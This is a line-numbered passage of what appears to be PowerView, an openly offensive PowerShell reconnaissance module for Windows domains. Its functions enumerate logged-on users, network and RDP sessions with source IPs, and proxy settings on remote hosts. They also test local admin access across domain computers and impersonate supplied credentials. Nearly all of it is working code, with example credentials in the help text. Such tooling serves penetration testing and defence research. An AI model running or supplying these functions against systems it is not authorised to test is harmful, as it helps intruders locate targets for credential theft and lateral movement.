  14895             $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
  14896 
  14897             # locate the offset of the initial intPtr
  14898             $Offset = $PtrInfo.ToInt64()
  14899 
  14900             # 0 = success
  14901             if (($Result -eq 0) -and ($Offset -gt 0)) {
  14902 
  14903                 # work out how much to increment the pointer by finding out the size of the structure
  14904                 $Increment = $WKSTA_USER_INFO_1::GetSize()
  14905 
  14906                 # parse all the result structures
  14907                 for ($i = 0; ($i -lt $EntriesRead); $i++) {
  14908                     # create a new int ptr at the given offset and cast the pointer as our result structure
  14909                     $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  14910                     $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
  14911 
  14912                     # return all the sections of the structure - have to do it this way for V2
  14913                     $LoggedOn = $Info | Select-Object *
  14914                     $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
  14915                     $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo')
  14916                     $Offset = $NewIntPtr.ToInt64()
  14917                     $Offset += $Increment
  14918                     $LoggedOn
  14919                 }
  14920 
  14921                 # free up the result buffer
  14922                 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  14923             }
  14924             else {
  14925                 Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  14926             }
  14927         }
  14928     }
  14929 
  14930     END {
  14931         if ($LogonToken) {
  14932             Invoke-RevertToSelf -TokenHandle $LogonToken
  14933         }
  14934     }
  14935 }
  14936 
  14937 
  14938 function Get-NetSession {
  14939 <#
  14940 .SYNOPSIS
  14941 
  14942 Returns session information for the local (or a remote) machine.
  14943 
  14944 Author: Will Schroeder (@harmj0y)  
  14945 License: BSD 3-Clause  
  14946 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf  
  14947 
  14948 .DESCRIPTION
  14949 
  14950 This function will execute the NetSessionEnum Win32API call to query
  14951 a given host for active sessions.
  14952 
  14953 .PARAMETER ComputerName
  14954 
  14955 Specifies the hostname to query for sessions (also accepts IP addresses).
  14956 Defaults to 'localhost'.
  14957 
  14958 .PARAMETER Credential
  14959 
  14960 A [Management.Automation.PSCredential] object of alternate credentials
  14961 for connection to the remote system using Invoke-UserImpersonation.
  14962 
  14963 .EXAMPLE
  14964 
  14965 Get-NetSession
  14966 
  14967 Returns active sessions on the local host.
  14968 
  14969 .EXAMPLE
  14970 
  14971 Get-NetSession -ComputerName sqlserver
  14972 
  14973 Returns active sessions on the 'sqlserver' host.
  14974 
  14975 .EXAMPLE
  14976 
  14977 Get-DomainController | Get-NetSession
  14978 
  14979 Returns active sessions on all domain controllers.
  14980 
  14981 .EXAMPLE
  14982 
  14983 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  14984 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  14985 Get-NetSession -ComputerName sqlserver -Credential $Cred
  14986 
  14987 .OUTPUTS
  14988 
  14989 PowerView.SessionInfo
  14990 
  14991 A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
  14992 the CName/UserName/Time/IdleTime for each session, with the ComputerName added.
  14993 
  14994 .LINK
  14995 
  14996 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
  14997 #>
  14998 
  14999     [OutputType('PowerView.SessionInfo')]
  15000     [CmdletBinding()]
  15001     Param(
  15002         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  15003         [Alias('HostName', 'dnshostname', 'name')]
  15004         [ValidateNotNullOrEmpty()]
  15005         [String[]]
  15006         $ComputerName = 'localhost',
  15007 
  15008         [Management.Automation.PSCredential]
  15009         [Management.Automation.CredentialAttribute()]
  15010         $Credential = [Management.Automation.PSCredential]::Empty
  15011     )
  15012 
  15013     BEGIN {
  15014         if ($PSBoundParameters['Credential']) {
  15015             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  15016         }
  15017     }
  15018 
  15019     PROCESS {
  15020         ForEach ($Computer in $ComputerName) {
  15021             # arguments for NetSessionEnum
  15022             $QueryLevel = 10
  15023             $PtrInfo = [IntPtr]::Zero
  15024             $EntriesRead = 0
  15025             $TotalRead = 0
  15026             $ResumeHandle = 0
  15027 
  15028             # get session information
  15029             $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
  15030 
  15031             # locate the offset of the initial intPtr
  15032             $Offset = $PtrInfo.ToInt64()
  15033 
  15034             # 0 = success
  15035             if (($Result -eq 0) -and ($Offset -gt 0)) {
  15036 
  15037                 # work out how much to increment the pointer by finding out the size of the structure
  15038                 $Increment = $SESSION_INFO_10::GetSize()
  15039 
  15040                 # parse all the result structures
  15041                 for ($i = 0; ($i -lt $EntriesRead); $i++) {
  15042                     # create a new int ptr at the given offset and cast the pointer as our result structure
  15043                     $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  15044                     $Info = $NewIntPtr -as $SESSION_INFO_10
  15045 
  15046                     # return all the sections of the structure - have to do it this way for V2
  15047                     $Session = $Info | Select-Object *
  15048                     $Session | Add-Member Noteproperty 'ComputerName' $Computer
  15049                     $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
  15050                     $Offset = $NewIntPtr.ToInt64()
  15051                     $Offset += $Increment
  15052                     $Session
  15053                 }
  15054 
  15055                 # free up the result buffer
  15056                 $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  15057             }
  15058             else {
  15059                 Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  15060             }
  15061         }
  15062     }
  15063 
  15064 
  15065     END {
  15066         if ($LogonToken) {
  15067             Invoke-RevertToSelf -TokenHandle $LogonToken
  15068         }
  15069     }
  15070 }
  15071 
  15072 
  15073 function Get-RegLoggedOn {
  15074 <#
  15075 .SYNOPSIS
  15076 
  15077 Returns who is logged onto the local (or a remote) machine
  15078 through enumeration of remote registry keys.
  15079 
  15080 Note: This function requires only domain user rights on the
  15081 machine you're enumerating, but remote registry must be enabled.
  15082 
  15083 Author: Matt Kelly (@BreakersAll)  
  15084 License: BSD 3-Clause  
  15085 Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID  
  15086 
  15087 .DESCRIPTION
  15088 
  15089 This function will query the HKU registry values to retrieve the local
  15090 logged on users SID and then attempt and reverse it.
  15091 Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
  15092 using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
  15093 required (NetWkstaUserEnum requires remote admin access).
  15094 
  15095 .PARAMETER ComputerName
  15096 
  15097 Specifies the hostname to query for remote registry values (also accepts IP addresses).
  15098 Defaults to 'localhost'.
  15099 
  15100 .PARAMETER Credential
  15101 
  15102 A [Management.Automation.PSCredential] object of alternate credentials
  15103 for connection to the remote system using Invoke-UserImpersonation.
  15104 
  15105 .EXAMPLE
  15106 
  15107 Get-RegLoggedOn
  15108 
  15109 Returns users actively logged onto the local host.
  15110 
  15111 .EXAMPLE
  15112 
  15113 Get-RegLoggedOn -ComputerName sqlserver
  15114 
  15115 Returns users actively logged onto the 'sqlserver' host.
  15116 
  15117 .EXAMPLE
  15118 
  15119 Get-DomainController | Get-RegLoggedOn
  15120 
  15121 Returns users actively logged on all domain controllers.
  15122 
  15123 .EXAMPLE
  15124 
  15125 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  15126 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  15127 Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred
  15128 
  15129 .OUTPUTS
  15130 
  15131 PowerView.RegLoggedOnUser
  15132 
  15133 A PSCustomObject including the UserDomain/UserName/UserSID of each
  15134 actively logged on user, with the ComputerName added.
  15135 #>
  15136 
  15137     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  15138     [OutputType('PowerView.RegLoggedOnUser')]
  15139     [CmdletBinding()]
  15140     Param(
  15141         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  15142         [Alias('HostName', 'dnshostname', 'name')]
  15143         [ValidateNotNullOrEmpty()]
  15144         [String[]]
  15145         $ComputerName = 'localhost'
  15146     )
  15147 
  15148     BEGIN {
  15149         if ($PSBoundParameters['Credential']) {
  15150             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  15151         }
  15152     }
  15153 
  15154     PROCESS {
  15155         ForEach ($Computer in $ComputerName) {
  15156             try {
  15157                 # retrieve HKU remote registry values
  15158                 $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
  15159 
  15160                 # sort out bogus sid's like _class
  15161                 $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
  15162                     $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple'
  15163 
  15164                     if ($UserName) {
  15165                         $UserName, $UserDomain = $UserName.Split('@')
  15166                     }
  15167                     else {
  15168                         $UserName = $_
  15169                         $UserDomain = $Null
  15170                     }
  15171 
  15172                     $RegLoggedOnUser = New-Object PSObject
  15173                     $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
  15174                     $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
  15175                     $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
  15176                     $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
  15177                     $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser')
  15178                     $RegLoggedOnUser
  15179                 }
  15180             }
  15181             catch {
  15182                 Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_"
  15183             }
  15184         }
  15185     }
  15186 
  15187     END {
  15188         if ($LogonToken) {
  15189             Invoke-RevertToSelf -TokenHandle $LogonToken
  15190         }
  15191     }
  15192 }
  15193 
  15194 
  15195 function Get-NetRDPSession {
  15196 <#
  15197 .SYNOPSIS
  15198 
  15199 Returns remote desktop/session information for the local (or a remote) machine.
  15200 
  15201 Note: only members of the Administrators or Account Operators local group
  15202 can successfully execute this functionality on a remote target.
  15203 
  15204 Author: Will Schroeder (@harmj0y)  
  15205 License: BSD 3-Clause  
  15206 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf  
  15207 
  15208 .DESCRIPTION
  15209 
  15210 This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation
  15211 Win32API calls to query a given RDP remote service for active sessions and originating
  15212 IPs. This is a replacement for qwinsta.
  15213 
  15214 .PARAMETER ComputerName
  15215 
  15216 Specifies the hostname to query for active sessions (also accepts IP addresses).
  15217 Defaults to 'localhost'.
  15218 
  15219 .PARAMETER Credential
  15220 
  15221 A [Management.Automation.PSCredential] object of alternate credentials
  15222 for connection to the remote system using Invoke-UserImpersonation.
  15223 
  15224 .EXAMPLE
  15225 
  15226 Get-NetRDPSession
  15227 
  15228 Returns active RDP/terminal sessions on the local host.
  15229 
  15230 .EXAMPLE
  15231 
  15232 Get-NetRDPSession -ComputerName "sqlserver"
  15233 
  15234 Returns active RDP/terminal sessions on the 'sqlserver' host.
  15235 
  15236 .EXAMPLE
  15237 
  15238 Get-DomainController | Get-NetRDPSession
  15239 
  15240 Returns active RDP/terminal sessions on all domain controllers.
  15241 
  15242 .EXAMPLE
  15243 
  15244 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  15245 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  15246 Get-NetRDPSession -ComputerName sqlserver -Credential $Cred
  15247 
  15248 .OUTPUTS
  15249 
  15250 PowerView.RDPSessionInfo
  15251 
  15252 A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure,
  15253 with the ComputerName added.
  15254 
  15255 .LINK
  15256 
  15257 https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
  15258 #>
  15259 
  15260     [OutputType('PowerView.RDPSessionInfo')]
  15261     [CmdletBinding()]
  15262     Param(
  15263         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  15264         [Alias('HostName', 'dnshostname', 'name')]
  15265         [ValidateNotNullOrEmpty()]
  15266         [String[]]
  15267         $ComputerName = 'localhost',
  15268 
  15269         [Management.Automation.PSCredential]
  15270         [Management.Automation.CredentialAttribute()]
  15271         $Credential = [Management.Automation.PSCredential]::Empty
  15272     )
  15273 
  15274     BEGIN {
  15275         if ($PSBoundParameters['Credential']) {
  15276             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  15277         }
  15278     }
  15279 
  15280     PROCESS {
  15281         ForEach ($Computer in $ComputerName) {
  15282 
  15283             # open up a handle to the Remote Desktop Session host
  15284             $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
  15285 
  15286             # if we get a non-zero handle back, everything was successful
  15287             if ($Handle -ne 0) {
  15288 
  15289                 # arguments for WTSEnumerateSessionsEx
  15290                 $ppSessionInfo = [IntPtr]::Zero
  15291                 $pCount = 0
  15292 
  15293                 # get information on all current sessions
  15294                 $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
  15295 
  15296                 # locate the offset of the initial intPtr
  15297                 $Offset = $ppSessionInfo.ToInt64()
  15298 
  15299                 if (($Result -ne 0) -and ($Offset -gt 0)) {
  15300 
  15301                     # work out how much to increment the pointer by finding out the size of the structure
  15302                     $Increment = $WTS_SESSION_INFO_1::GetSize()
  15303 
  15304                     # parse all the result structures
  15305                     for ($i = 0; ($i -lt $pCount); $i++) {
  15306 
  15307                         # create a new int ptr at the given offset and cast the pointer as our result structure
  15308                         $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  15309                         $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
  15310 
  15311                         $RDPSession = New-Object PSObject
  15312 
  15313                         if ($Info.pHostName) {
  15314                             $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
  15315                         }
  15316                         else {
  15317                             # if no hostname returned, use the specified hostname
  15318                             $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
  15319                         }
  15320 
  15321                         $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
  15322 
  15323                         if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
  15324                             # if a domain isn't returned just use the username
  15325                             $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
  15326                         }
  15327                         else {
  15328                             $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
  15329                         }
  15330 
  15331                         $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
  15332                         $RDPSession | Add-Member Noteproperty 'State' $Info.State
  15333 
  15334                         $ppBuffer = [IntPtr]::Zero
  15335                         $pBytesReturned = 0
  15336 
  15337                         # query for the source client IP with WTSQuerySessionInformation
  15338                         #   https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
  15339                         $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
  15340 
  15341                         if ($Result2 -eq 0) {
  15342                             Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
  15343                         }
  15344                         else {
  15345                             $Offset2 = $ppBuffer.ToInt64()
  15346                             $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
  15347                             $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
  15348 
  15349                             $SourceIP = $Info2.Address
  15350                             if ($SourceIP[2] -ne 0) {
  15351                                 $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5]
  15352                             }
  15353                             else {
  15354                                 $SourceIP = $Null
  15355                             }
  15356 
  15357                             $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
  15358                             $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo')
  15359                             $RDPSession
  15360 
  15361                             # free up the memory buffer
  15362                             $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
  15363 
  15364                             $Offset += $Increment
  15365                         }
  15366                     }
  15367                     # free up the memory result buffer
  15368                     $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
  15369                 }
  15370                 else {
  15371                     Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  15372                 }
  15373                 # close off the service handle
  15374                 $Null = $Wtsapi32::WTSCloseServer($Handle)
  15375             }
  15376             else {
  15377                 Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
  15378             }
  15379         }
  15380     }
  15381 
  15382     END {
  15383         if ($LogonToken) {
  15384             Invoke-RevertToSelf -TokenHandle $LogonToken
  15385         }
  15386     }
  15387 }
  15388 
  15389 
  15390 function Test-AdminAccess {
  15391 <#
  15392 .SYNOPSIS
  15393 
  15394 Tests if the current user has administrative access to the local (or a remote) machine.
  15395 
  15396 Idea stolen from the local_admin_search_enum post module in Metasploit written by:  
  15397     'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'  
  15398     'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'  
  15399     'Royce Davis "r3dy" <rdavis[at]accuvant.com>'  
  15400 
  15401 Author: Will Schroeder (@harmj0y)  
  15402 License: BSD 3-Clause  
  15403 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf  
  15404 
  15405 .DESCRIPTION
  15406 
  15407 This function will use the OpenSCManagerW Win32API call to establish
  15408 a handle to the remote host. If this succeeds, the current user context
  15409 has local administrator acess to the target.
  15410 
  15411 .PARAMETER ComputerName
  15412 
  15413 Specifies the hostname to check for local admin access (also accepts IP addresses).
  15414 Defaults to 'localhost'.
  15415 
  15416 .PARAMETER Credential
  15417 
  15418 A [Management.Automation.PSCredential] object of alternate credentials
  15419 for connection to the remote system using Invoke-UserImpersonation.
  15420 
  15421 .EXAMPLE
  15422 
  15423 Test-AdminAccess -ComputerName sqlserver
  15424 
  15425 Returns results indicating whether the current user has admin access to the 'sqlserver' host.
  15426 
  15427 .EXAMPLE
  15428 
  15429 Get-DomainComputer | Test-AdminAccess
  15430 
  15431 Returns what machines in the domain the current user has access to.
  15432 
  15433 .EXAMPLE
  15434 
  15435 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  15436 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  15437 Test-AdminAccess -ComputerName sqlserver -Credential $Cred
  15438 
  15439 .OUTPUTS
  15440 
  15441 PowerView.AdminAccess
  15442 
  15443 A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether
  15444 the current user has local admin rights, along with the ComputerName added.
  15445 
  15446 .LINK
  15447 
  15448 https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
  15449 http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
  15450 #>
  15451 
  15452     [OutputType('PowerView.AdminAccess')]
  15453     [CmdletBinding()]
  15454     Param(
  15455         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  15456         [Alias('HostName', 'dnshostname', 'name')]
  15457         [ValidateNotNullOrEmpty()]
  15458         [String[]]
  15459         $ComputerName = 'localhost',
  15460 
  15461         [Management.Automation.PSCredential]
  15462         [Management.Automation.CredentialAttribute()]
  15463         $Credential = [Management.Automation.PSCredential]::Empty
  15464     )
  15465 
  15466     BEGIN {
  15467         if ($PSBoundParameters['Credential']) {
  15468             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  15469         }
  15470     }
  15471 
  15472     PROCESS {
  15473         ForEach ($Computer in $ComputerName) {
  15474             # 0xF003F - SC_MANAGER_ALL_ACCESS
  15475             #   http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
  15476             $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
  15477 
  15478             $IsAdmin = New-Object PSObject
  15479             $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
  15480 
  15481             # if we get a non-zero handle back, everything was successful
  15482             if ($Handle -ne 0) {
  15483                 $Null = $Advapi32::CloseServiceHandle($Handle)
  15484                 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
  15485             }
  15486             else {
  15487                 Write-Verbose "[Test-AdminAccess] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  15488                 $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
  15489             }
  15490             $IsAdmin.PSObject.TypeNames.Insert(0, 'PowerView.AdminAccess')
  15491             $IsAdmin
  15492         }
  15493     }
  15494 
  15495     END {
  15496         if ($LogonToken) {
  15497             Invoke-RevertToSelf -TokenHandle $LogonToken
  15498         }
  15499     }
  15500 }
  15501 
  15502 
  15503 function Get-NetComputerSiteName {
  15504 <#
  15505 .SYNOPSIS
  15506 
  15507 Returns the AD site where the local (or a remote) machine resides.
  15508 
  15509 Author: Will Schroeder (@harmj0y)  
  15510 License: BSD 3-Clause  
  15511 Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf  
  15512 
  15513 .DESCRIPTION
  15514 
  15515 This function will use the DsGetSiteName Win32API call to look up the
  15516 name of the site where a specified computer resides.
  15517 
  15518 .PARAMETER ComputerName
  15519 
  15520 Specifies the hostname to check the site for (also accepts IP addresses).
  15521 Defaults to 'localhost'.
  15522 
  15523 .PARAMETER Credential
  15524 
  15525 A [Management.Automation.PSCredential] object of alternate credentials
  15526 for connection to the remote system using Invoke-UserImpersonation.
  15527 
  15528 .EXAMPLE
  15529 
  15530 Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local
  15531 
  15532 Returns the site for WINDOWS1.testlab.local.
  15533 
  15534 .EXAMPLE
  15535 
  15536 Get-DomainComputer | Get-NetComputerSiteName
  15537 
  15538 Returns the sites for every machine in AD.
  15539 
  15540 .EXAMPLE
  15541 
  15542 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  15543 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  15544 Get-NetComputerSiteName -ComputerName WINDOWS1.testlab.local -Credential $Cred
  15545 
  15546 .OUTPUTS
  15547 
  15548 PowerView.ComputerSite
  15549 
  15550 A PSCustomObject containing the ComputerName, IPAddress, and associated Site name.
  15551 #>
  15552 
  15553     [OutputType('PowerView.ComputerSite')]
  15554     [CmdletBinding()]
  15555     Param(
  15556         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  15557         [Alias('HostName', 'dnshostname', 'name')]
  15558         [ValidateNotNullOrEmpty()]
  15559         [String[]]
  15560         $ComputerName = 'localhost',
  15561 
  15562         [Management.Automation.PSCredential]
  15563         [Management.Automation.CredentialAttribute()]
  15564         $Credential = [Management.Automation.PSCredential]::Empty
  15565     )
  15566 
  15567     BEGIN {
  15568         if ($PSBoundParameters['Credential']) {
  15569             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  15570         }
  15571     }
  15572 
  15573     PROCESS {
  15574         ForEach ($Computer in $ComputerName) {
  15575             # if we get an IP address, try to resolve the IP to a hostname
  15576             if ($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
  15577                 $IPAddress = $Computer
  15578                 $Computer = [System.Net.Dns]::GetHostByAddress($Computer) | Select-Object -ExpandProperty HostName
  15579             }
  15580             else {
  15581                 $IPAddress = @(Resolve-IPAddress -ComputerName $Computer)[0].IPAddress
  15582             }
  15583 
  15584             $PtrInfo = [IntPtr]::Zero
  15585 
  15586             $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
  15587 
  15588             $ComputerSite = New-Object PSObject
  15589             $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
  15590             $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
  15591 
  15592             if ($Result -eq 0) {
  15593                 $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
  15594                 $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
  15595             }
  15596             else {
  15597                 Write-Verbose "[Get-NetComputerSiteName] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  15598                 $ComputerSite | Add-Member Noteproperty 'SiteName' ''
  15599             }
  15600             $ComputerSite.PSObject.TypeNames.Insert(0, 'PowerView.ComputerSite')
  15601 
  15602             # free up the result buffer
  15603             $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  15604 
  15605             $ComputerSite
  15606         }
  15607     }
  15608 
  15609     END {
  15610         if ($LogonToken) {
  15611             Invoke-RevertToSelf -TokenHandle $LogonToken
  15612         }
  15613     }
  15614 }
  15615 
  15616 
  15617 function Get-WMIRegProxy {
  15618 <#
  15619 .SYNOPSIS
  15620 
  15621 Enumerates the proxy server and WPAD conents for the current user.
  15622 
  15623 Author: Will Schroeder (@harmj0y)  
  15624 License: BSD 3-Clause  
  15625 Required Dependencies: None  
  15626 
  15627 .DESCRIPTION
  15628 
  15629 Enumerates the proxy server and WPAD specification for the current user
  15630 on the local machine (default), or a machine specified with -ComputerName.
  15631 It does this by enumerating settings from
  15632 HKU:SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings.
  15633 
  15634 .PARAMETER ComputerName
  15635 
  15636 Specifies the system to enumerate proxy settings on. Defaults to the local host.
  15637 
  15638 .PARAMETER Credential
  15639 
  15640 A [Management.Automation.PSCredential] object of alternate credentials
  15641 for connecting to the remote system.
  15642 
  15643 .EXAMPLE
  15644 
  15645 Get-WMIRegProxy
  15646 
  15647 ComputerName           ProxyServer            AutoConfigURL         Wpad
  15648 ------------           -----------            -------------         ----
  15649 WINDOWS1               http://primary.test...
  15650 
  15651 .EXAMPLE
  15652 
  15653 $Cred = Get-Credential "TESTLAB\administrator"
  15654 Get-WMIRegProxy -Credential $Cred -ComputerName primary.testlab.local
  15655 
  15656 ComputerName            ProxyServer            AutoConfigURL         Wpad
  15657 ------------            -----------            -------------         ----
  15658 windows1.testlab.local  primary.testlab.local
  15659 
  15660 .INPUTS
  15661 
  15662 String
  15663 
  15664 Accepts one or more computer name specification strings  on the pipeline (netbios or FQDN).
  15665 
  15666 .OUTPUTS
  15667 
  15668 PowerView.ProxySettings
  15669 
  15670 Outputs custom PSObjects with the ComputerName, ProxyServer, AutoConfigURL, and WPAD contents.
  15671 #>
  15672 
  15673     [OutputType('PowerView.ProxySettings')]
  15674     [CmdletBinding()]
  15675     Param(
  15676         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  15677         [Alias('HostName', 'dnshostname', 'name')]
  15678         [ValidateNotNullOrEmpty()]
  15679         [String[]]
  15680         $ComputerName = $Env:COMPUTERNAME,
  15681 
  15682         [Management.Automation.PSCredential]
  15683         [Management.Automation.CredentialAttribute()]
  15684         $Credential = [Management.Automation.PSCredential]::Empty
  15685     )
  15686 
  15687     PROCESS {
  15688         ForEach ($Computer in $ComputerName) {
  15689             try {
  15690                 $WmiArguments = @{
  15691                     'List' = $True
  15692                     'Class' = 'StdRegProv'
  15693                     'Namespace' = 'root\default'
  15694                     'Computername' = $Computer
  15695                     'ErrorAction' = 'Stop'
  15696                 }
  15697                 if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential }
  15698 
  15699                 $RegProvider = Get-WmiObject @WmiArguments
  15700                 $Key = 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings'
  15701 
  15702                 # HKEY_CURRENT_USER
  15703                 $HKCU = 2147483649
  15704                 $ProxyServer = $RegProvider.GetStringValue($HKCU, $Key, 'ProxyServer').sValue
  15705                 $AutoConfigURL = $RegProvider.GetStringValue($HKCU, $Key, 'AutoConfigURL').sValue
  15706 
  15707                 $Wpad = ''
  15708                 if ($AutoConfigURL -and ($AutoConfigURL -ne '')) {
  15709                     try {
  15710                         $Wpad = (New-Object Net.WebClient).DownloadString($AutoConfigURL)
  15711                     }
  15712                     catch {
  15713                         Write-Warning "[Get-WMIRegProxy] Error connecting to AutoConfigURL : $AutoConfigURL"
  15714                     }
  15715                 }
  15716 
  15717                 if ($ProxyServer -or $AutoConfigUrl) {
  15718                     $Out = New-Object PSObject
  15719                     $Out | Add-Member Noteproperty 'ComputerName' $Computer
  15720                     $Out | Add-Member Noteproperty 'ProxyServer' $ProxyServer
  15721                     $Out | Add-Member Noteproperty 'AutoConfigURL' $AutoConfigURL
  15722                     $Out | Add-Member Noteproperty 'Wpad' $Wpad
  15723                     $Out.PSObject.TypeNames.Insert(0, 'PowerView.ProxySettings')
  15724                     $Out
  15725                 }
  15726                 else {
  15727                     Write-Warning "[Get-WMIRegProxy] No proxy settings found for $ComputerName"
  15728                 }
  15729             }
  15730             catch {
  15731                 Write-Warning "[Get-WMIRegProxy] Error enumerating proxy settings for $ComputerName : $_"
